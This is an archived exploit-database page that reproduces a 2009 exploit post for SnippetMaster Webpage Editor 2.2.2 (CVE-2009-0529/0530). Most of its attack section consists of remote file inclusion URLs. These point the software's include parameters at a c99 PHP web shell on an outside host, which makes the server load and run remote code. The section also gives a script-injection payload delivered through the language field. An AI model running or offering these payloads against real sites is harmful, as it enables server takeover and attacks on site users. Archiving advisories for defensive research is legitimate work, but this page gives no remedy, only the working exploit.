SnippetMaster Webpage Editor 2,2,2 (RFI/XSS) Multiple Vulnerabilities

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1052174 漏洞类型
发布时间 2009-02-13 更新时间 2009-02-13
CVE编号 CVE-2009-0529
CVE-2009-0530
CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2009020169
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
# SnippetMaster Webpage Editor 2,2,2 Multiple Vulnes ( Remote File Include , Remote XSS )

# Free Download : http://www.snippetmaster.com/download/manual-install.php

# Download Dezender Script :  http://www.mediafire.com/?jv3gz1zwjxm

- Found By : RoMaNcYxHaCkEr
- My Site : WwW.Sec-Code.CoM
- My Group : Security - Codes Group

# Exploit [1]:

- Remote File Include :

http://www.sec-code.com/snippetmaster/includes/vars.inc.php?_SESSION[SCRIPT_PATH]=http://www.sec-code.com/c99.txt?

http://www.sec-code.com/snippetmaster/includes/tar_lib/pcltar.lib.php?g_pcltar_lib_dir=http://www.sec-code.com/c99.txt?

http://www.sec-code.com/snippetmaster/includes/tar_lib/pcltar.lib.php?g_pcltar_lib_dir=http://www.sec-code.com/c99.txt?

# Exploit [2]:

- Remote XSS :

http://www.sec-code.com/snippetmaster/index.php

By POST method In Option language Inject By This Code :

<script>alert(413156995734)</script>

# Solutions :

Contact With Me I Will Declear All This Fucking Functions

# rXh

# bEST wISHES